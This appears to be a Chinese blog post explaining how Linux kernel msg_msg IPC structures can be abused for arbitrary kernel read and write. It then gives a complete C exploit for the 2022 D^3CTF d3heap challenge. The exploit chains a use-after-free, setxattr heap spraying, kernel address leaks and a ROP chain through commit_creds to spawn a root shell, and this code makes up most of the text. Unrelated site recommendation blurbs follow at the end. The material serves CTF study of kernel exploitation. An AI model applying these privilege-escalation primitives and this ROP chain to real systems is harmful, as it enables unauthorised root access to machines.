利用msg_msg实现任意地址读写
利用msg_msg实现任意地址读写
msgsnd和msgrcv的源码分析
内核通过msgsnd和msgrcv来进行
IPC通信。内核消息分为两个部分,一个是消息头
msg_msg(0x30),以及后面跟着的
消息数据。整个内核消息的长度是从
kmalloc-64到kmalloc-4096`。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
msgsnd发送数据调用链及方法
调用链:通过msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()
来分配消息头和消息的数据,接着通过load_msg() -> copy_from_user()
来将用户数据拷贝进内核。
使用方法:例如我们想要发送一个包含0x1000个'A'
的消息,代码如下:
struct msgbuf
{
long mtype;
char mtext[0x1000];
} msg;
msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));
qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
此外如果消息长度超过0xfd0
,那么就会采取分段储存的方式,采用单向链表进行连接。第一个称作消息头,用msg_msg
结构进行储存,第二个和第三个称作segment
,用msg_msgseg
结构进行储存。消息的最大长度由/proc/sys/kernel/msgmax
确定,默认大小为8192
个字节,所以最多连接三个成员。
msgrcv接收数据的调用链及方法
调用链msgrcv() -> ksys_msgrcv() -> do_msgrcv() -> find_msg() & do_msg_fill() & free_msg()
。通过find_msg
来定位消息,并将消息从队列中unlink
,再调用do_msg_fill() -> store_msg()
来将消息从内核空间拷贝到用户空间,最后调用free_msg
释放消息。
使用方法:例如我们想要接收一个包含0x1000个'A'
的消息,代码如下:
void *memdump = malloc(0x1000);
msgrcv(qid, memdump, 0x1000, 1, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
此外值得注意的是:如果用flag:MSG_COPY
来调用msgrcv()
,就会调用prepare_copy()
分配临时消息,并调用copy_msg()
将请求的数据拷贝到该临时消息。在将消息拷贝到用户空间之后,原始消息会被保留,不会从队列中unlink
,而是直接goto out_unlock0
,然后调用free_msg()
删除该临时消息,有些题目中这一点对于利用很重要。为什么?因为有些题目漏洞在UAF的时候,没有泄露正确地址,所以会破坏msg_msg->m_list
双链表指针,unlink
会触发崩溃。如果某漏洞可以跳过前16字节,那就不需要注意这一点。
数据泄露
越界读取数据
在拷贝数据的时候,我们对数据长度的判断主要是依靠msg_msg->m_ts
。所以我们可以想到如果我们可以控制某一个消息的msg_msg
使得msg_msg->m_ts
被改为一个较大的数,那么我们就能够实现越界读取数据。
任意地址读取
对于大于0xfd0
的数据,内核会在msg_msg
的基础上再加上msg_msgseg
结构体,形成一个单向链表,如果我们能够同时控制msg_msg->m_ts
及msg_msg->next
,我们便可以实现任意地址读。但是这里需要注意的是,无论我们采用MSG_COPY
还是常规消息接收,拷贝消息的主要依据还是msg_msg->next
,所以为了避免遍历消息时出现访存崩溃,实现对特定地址以后数据的读取,我们需使得segment
的前8
字节为NULL
。
任意地址写
我们可以通过结合userfaultfd
或者FUSE
实现race condition
。当我们在调用msgsnd
系统调用时,其会继续调用load_msg
将用户数据拷贝到内核空间中。它会先调用alloc_msg
分配msg_msg
的单向链表,之后才会进行数据的拷贝过程。所以这里的空间分配和数据拷贝实际上是分开进行的。故我们不难想到,在拷贝时利用userfaultfd
或者FUSE
将拷贝停止下来,并在子进程中篡改msg_msg->next
,恢复拷贝后即可向我们篡改后的地址上写入数据,从而实现任意地址写。
例题:2022d3CTF-d3heap
exp:(对着arttnba3
师傅的exp改了改)
#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define SECONDARY_STARTUP_64 0xffffffff81000040
size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;
int fd;
int pipe_fd, pipe_fd1[2], pipe_fd2[2];
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void add()
{
ioctl(fd, 0x1234);
}
void delete()
{
ioctl(fd, 0xdead);
}
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[+] save the state success!\033[0m\n");
}
void get_shell()
{
if (getuid() == 0)
{
printf("\033[32m\033[1m[+] get root shell !\033[0m\n");
system("/bin/sh");
//char *shell = "/bin/sh";
//char *args[] = {shell, NULL};
//execve(shell, args, NULL);
}
else
{
printf("\033[31m\033[1m[-] get shell error !\033[0m\n");
exit(0);
}
}
size_t kernelLeakQuery(size_t kernel_text_leak)
{
size_t kernel_offset = 0xdeadbeef;
switch (kernel_text_leak & 0xfff)
{
case 0x6e9:
kernel_offset = kernel_text_leak - 0xffffffff812b76e9;
break;
case 0x980:
kernel_offset = kernel_text_leak - 0xffffffff82101980;
break;
case 0x440:
kernel_offset = kernel_text_leak - 0xffffffff82e77440;
break;
case 0xde7:
kernel_offset = kernel_text_leak - 0xffffffff82411de7;
break;
case 0x4f0:
kernel_offset = kernel_text_leak - 0xffffffff817894f0;
break;
case 0xc90:
kernel_offset = kernel_text_leak - 0xffffffff833fac90;
break;
case 0x785:
kernel_offset = kernel_text_leak - 0xffffffff823c3785;
break;
case 0x990:
kernel_offset = kernel_text_leak - 0xffffffff810b2990;
break;
case 0x900:
kernel_offset = kernel_text_leak - 0xffffffff82e49900;
break;
case 0x8b4:
kernel_offset = kernel_text_leak - 0xffffffff8111b8b4;
break;
case 0xc40:
kernel_offset = kernel_text_leak - 0xffffffff8204ac40;
break;
case 0x320:
kernel_offset = kernel_text_leak - 0xffffffff8155c320;
break;
case 0xee0:
kernel_offset = kernel_text_leak - 0xffffffff810d6ee0;
break;
case 0x5e0:
kernel_offset = kernel_text_leak - 0xffffffff810e55e0;
break;
case 0xe80:
kernel_offset = kernel_text_leak - 0xffffffff82f05e80;
break;
case 0x260:
kernel_offset = kernel_text_leak - 0xffffffff82ec0260;
break;
default:
puts("[-] fill up your dict!");
break;
}
if ((kernel_offset % 0x100000) != 0)
kernel_offset = 0xdeadbeef;
return kernel_offset;
}
typedef struct
{
long mtype;
char mtext[1];
}msg;
struct list_head
{
struct list_head *next, *prev;
};
/* one msg_msg structure for each message */
struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
void *next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};
int main()
{
size_t *buf;
size_t kernel_heap_leak;
size_t kernel_heap_search;
size_t kernel_text_leak;
size_t page_offset_base_guess;
size_t msg_offset, msg_offset_count;
size_t fake_ops_addr, fake_ops_offset, kmsg_addr;
int kmsg_idx;
int ms_qid[0x100];
int ret;
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
save_status();
buf = (size_t*)malloc(0x4000);
memset(buf, 0, 0x4000);
fd = open("/dev/d3kheap", O_RDONLY);
if(fd < 0)
ErrExit("[-] open d3heap error");
add();
delete();
for (int i = 0; i < 5; i++)
{
ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}
for (int i = 0; i < 5; i++)
{
memset(buf, 'A'+i, 0X1000 - 8);
ret = msgsnd(ms_qid[i], buf, 1024 - 0x30, 0);
if (ret < 0)
{
puts("[x] msgsnd!");
return -1;
}
}
delete();
memset(buf, 'B', 0x1000);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x1000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
for (int i = 0; i < ((0x1000 - 0x30) / 8); i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if (((buf[i] & 0xffff000000000000) == 0xffff000000000000) && !kernel_heap_leak && (buf[i + 3] == (1024 - 0x30)))
{
printf("\033[32m\033[1m[+] We got heap leak! kheap: 0x%lx\033[0m\n", buf[i]);
kernel_heap_leak = buf[i];
kmsg_idx = (int)(((char*)(&buf[i + 2]))[0] - 'A');
fake_ops_offset = i * 8 + 0x30 - 8;
}
if (((buf[i] & 0xffffffff00000000) == 0xffffffff00000000) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
}
}
if (kernel_text_leak && kernel_heap_leak)
break;
}
if (!kernel_heap_leak)
ErrExit("\033[31m\033[1m[-] Failed to leak kernel heap!\033[0m\n");
//if (!kernel_text_leak)
// ErrExit("\033[31m\033[1m[-] Failed to leak kernel text!\033[0m\n");
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 -8;
((struct msg_msg*) buf)->next = (void*)(kernel_heap_leak - 8); // q_messages - 8
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30 -8, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
kmsg_addr = buf[(0x1000 - 0x30) / 8 + 1];
fake_ops_addr = kmsg_addr - fake_ops_offset;
printf("\033[32m\033[1m[+] UAF as fake ops addr at: 0x%lx, cal by msg idx: %d at addr: 0x%lx\033[0m\n", fake_ops_addr, kmsg_idx, kmsg_addr);
kernel_heap_search = kmsg_addr - 8;
for (int leaking_times = 0; !kernel_text_leak; leaking_times++)
{
printf("[*] per leaking, no.%d time(s)\n", leaking_times);
((struct msg_msg*) buf)->m_list.next = NULL;
((struct msg_msg*) buf)->m_list.prev = NULL;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30;
((struct msg_msg*) buf)->next = (void*)kernel_heap_search;
((struct msg_msg*) buf)->security = NULL;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
printf("[*] Now searching: 0x%lx\n", kernel_heap_search);
ret = msgrcv(ms_qid[0], buf, 0x2000 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);
if (ret < 0)
ErrExit("[-] msgrcv error");
msg_offset_count = 0;
msg_offset = 0xdeadbeefbad4f00d;
for (int i = (0x1000 - 0x30) / 8; i < (0x2000 - 0x30) / 8; i++)
{
printf("[----data dump----][%3d] 0x%lx\n", i, buf[i]);
if ((buf[i] > 0xffffffff81000000) && (buf[i] < 0xffffffffbfffffff) && !kernel_text_leak)
{
printf("\033[32m\033[1m[+] We got text leak! ktext: 0x%lx\033[0m\n", buf[i]);
kernel_offset = kernelLeakQuery(buf[i]);
if (kernel_offset != 0xdeadbeef)
{
kernel_text_leak = buf[i];
kernel_base += kernel_offset;
break;
}
}
if (!buf[i])
msg_offset = msg_offset_count * 8;
msg_offset_count++;
}
if (kernel_text_leak)
break;
if (msg_offset == 0xdeadbeefbad4f00d)
ErrExit("[-] Failed to find next valid foothold!");
kernel_heap_search += msg_offset;// to make the msg_msg->next == NULL, search from the last NULL
}
printf("\033[32m\033[1m[+] kernel offset: 0x%lx\033[0m\n", kernel_offset);
printf("\033[32m\033[1m[+] kernel base: 0x%lx\033[0m\n", kernel_base);
((struct msg_msg*) buf)->m_list.next = (struct list_head *)kernel_heap_search; // a pointer to the heap is available, list_del (aka unlink) is easy to pass
((struct msg_msg*) buf)->m_list.prev = (struct list_head *)kernel_heap_search;
((struct msg_msg*) buf)->m_type = 0;
((struct msg_msg*) buf)->m_ts = 1024 - 0x30;
((struct msg_msg*) buf)->next = NULL;
((struct msg_msg*) buf)->security = NULL;
// while the kmem_cache->offset is not 0, we can easily repair the header of msg_msg
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
ret = msgrcv(ms_qid[kmsg_idx], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // add a obj to pass detection in set_freepointer() in free_msg
if (ret < 0)
ErrExit("[-] msgrcv error");
ret = msgrcv(ms_qid[0], buf, 1024 - 0x30, 0, IPC_NOWAIT | MSG_NOERROR); // constructing A->B->A
if (ret < 0)
ErrExit("[-] msgrcv error");
pipe(pipe_fd1);
pipe_fd = pipe_fd1[1];
pipe(pipe_fd2);
memset(buf, 'B', 0x1000);
buf[2] = fake_ops_addr;
buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret
// construct ROP
int rop_idx = 4;
buf[rop_idx++] = POP_RDI_RET + kernel_offset;
buf[rop_idx++] = INIT_CRED + kernel_offset;
buf[rop_idx++] = COMMIT_CREDS + kernel_offset;
buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset;
buf[rop_idx++] = 0;
buf[rop_idx++] = 0;
buf[rop_idx++] = (size_t)get_shell;
buf[rop_idx++] = user_cs;
buf[rop_idx++] = user_rflags;
buf[rop_idx++] = user_sp;
buf[rop_idx++] = user_ss;
setxattr("/exp", "FXC", buf, 1024-0x30, 0);
close(pipe_fd1[0]);
close(pipe_fd1[1]);
return 0;
}
利用msg_msg实现任意地址读写的更多相关文章
- 利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写
利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写 ldt_struct与modify_ldt系统调用的介绍 ldt_struct ldt是局部段描述符表,里面存放的是进程的 ...
- Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)
linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了 ...
- 利用arguments求任意数量数字的和/最大值/最小值
文章地址 https://www.cnblogs.com/sandraryan/ arguments是函数内的临时数据,用完销毁,有类似于数组的操作,但不是数组. 举个栗子1:利用arguments求 ...
- c# 利用动态库DllImport("kernel32")读写ini文件(提供Dmo下载)
c# 利用动态库DllImport("kernel32")读写ini文件 自从读了设计模式,真的会改变一个程序员的习惯.我觉得嘛,经验也可以从一个人的习惯看得出来,看他的代码编写习 ...
- spring+mybatis利用interceptor(plugin)兑现数据库读写分离
使用spring的动态路由实现数据库负载均衡 系统中存在的多台服务器是"地位相当"的,不过,同一时间他们都处于活动(Active)状态,处于负载均衡等因素考虑,数据访问请求需要在这 ...
- 利用js将图片地址进行转义
利用js将图片地址进行转义 在业务中经常需要将图片从后台获取,然后在前台显示.其中后台存取图片主要分为两种,一种是数据库中获取图片的地址,第二种是存取图片内容的信息.这次主要是前台代码处理第一种情况. ...
- 利用最小二乘法拟合任意次函数曲线(C#)
原文:利用最小二乘法拟合任意次函数曲线(C#) ///<summary> ///用最小二乘法拟合二元多次曲线 ///</summary> ///< ...
- 1byte、1KB、4KB,1MB、1GB用16进制表示的范围。任意地址范围求字节数
1byte.1KB.4KB,1MB.1GB用16进制表示的范围.任意地址范围求字节数 2018-02-12 18:27:48 望那伊人 阅读数 5032更多 分类专栏: 计算机相关 版权声明:本文 ...
- python中利用正则表达式匹配ip地址
现在有一道题目,要求利用python中re模块来匹配ip地址,我们应如何着手? 首先能想到的是ip地址是数字,正则表达式是如何匹配数字的呢? \d或[0-9] 对于这个问题,不要一下子上来就写匹配模式 ...
随机推荐
- Hadoop学习 Hadoop-HA 解释和概念介绍
一.Hadoop-HA 1.1 Hadoop1.x带来的问题 1.单点故障 a. 每个群集只有一个NameNode,NameNode存在单点故障(SPOF). b. 如果该计算机或进程不可用,则整 ...
- 流程控制语句continue
continue语句 用于结束当前循环,进入下一次循环,同样通常与if分支结构一起使用 (这边和前面的break可以结合在一起与C中的一样的理解) 注意这个不是终止整个循环只是终止当前循环进行下一次循 ...
- C++ 处理类型名(typedef,auto和decltype)
随着程序越来越复杂,程序中用到的类型也越来越复杂,这种复杂性体现在两个方面.一是一些类型难于"拼写",它们的名字既难记又容易写错,还无法明确体现其真实目的和含义.二是有时候根本搞不 ...
- python3学习笔记之字符串
字符串 1.一个个字符组成的有序的序列,是字符的集合: 2.使用单引号.双引号.三引号引住的字符序列 3.字符串是不可变对象 4.python3起,字符串就是Unicode类型: 字符串特殊举例: 不 ...
- iOS中 Tagged Pointer 技术
前言: 从64位开始,iOS引入了Tagged Pointer技术,用于优化NSNumber.NSDate.NSString等小对象的存储. Tagged Pointer主要为了解决两个问题: 内 ...
- ABC251 题解
典中典比赛 . 目录 A - Six Characters B - At Most 3 (Judge ver.) C - Poem Online Judge D - At Most 3 (Contes ...
- 题解【CodeForces 910A The Way to Home】
题目大意 一只青蛙现在在一个数轴上,它现在要从点 \(1\) 跳到点 \(n\) ,它每次可以向右跳不超过 \(d\) 个单位.比如,它可以从点 \(x\) 跳到点 \(x+a\)(\(1\le a\ ...
- 适合初学者的使用CNN的数字图像识别项目:Digit Recognizer with CNN for beginner
准备工作 数据集介绍 数据文件 train.csv 和 test.csv 包含从零到九的手绘数字的灰度图像. 每张图像高 28 像素,宽 28 像素,总共 784 像素.每个像素都有一个与之关联的像素 ...
- 【AGC】开放式测试示例
前言:这一次我们来带大家进入AGC领域,学习AGC相关的知识.所谓AGC就是AppGallery Connect的简称,为用户的应用进行创意.开发.分发.运营.经营各环节提供一站式服务,说的通俗一点, ...
- 这三大特性,让 G1 取代了 CMS!
大家好,我是树哥. 之前我们聊过 CMS 回收器,但那时候我们说 CMS 回收器已经落伍了,现在应该是用 G1 回收器的时候了.那么 G1 回收器到底有什么魔力,它比 CMS 回收器相比强在哪里呢?今 ...